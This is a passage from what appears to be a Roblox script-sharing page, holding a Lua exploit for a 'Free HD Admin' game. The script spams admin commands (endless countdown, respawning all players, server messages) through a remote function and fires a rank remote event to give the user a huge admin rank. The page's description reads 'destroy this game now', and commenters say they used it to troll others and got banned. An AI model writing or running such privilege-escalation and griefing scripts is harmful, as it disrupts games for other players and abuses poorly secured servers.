	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	RequestCommand:InvokeServer(";countdown2 inf")
	RequestCommand:InvokeServer(";re all")
	RequestCommand:InvokeServer(";sm lol rekt")
	

	

 
end)



game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui.RankPanel.Rank.RemoteEvent:FireServer(game.Players.LocalPlayer.Name, "2e+100")
game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui.RankPanel.Visible = true
game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui.RankPanel.Close.Activated:Connect(function()
game:GetService("Players").LocalPlayer.PlayerGui.ScreenGui.RankPanel.Visible = false
end)

Features & Information

destroy this game now
#destroy#this#game#now#lmfao

Community Comments (5)

rollrollFeb 24, 2025(edited)

w script lol funny to troll ppl ngl

rollrollFeb 24, 2025(edited)

blue2 spooky on top

rollrollFeb 24, 2025(edited)

lol

ReiiiKReiiiKFeb 24, 2025(edited)

got banned but it was worth it

rollrollFeb 24, 2025(edited)

same

More Scripts for Free HD Admin (Rick Roll Command)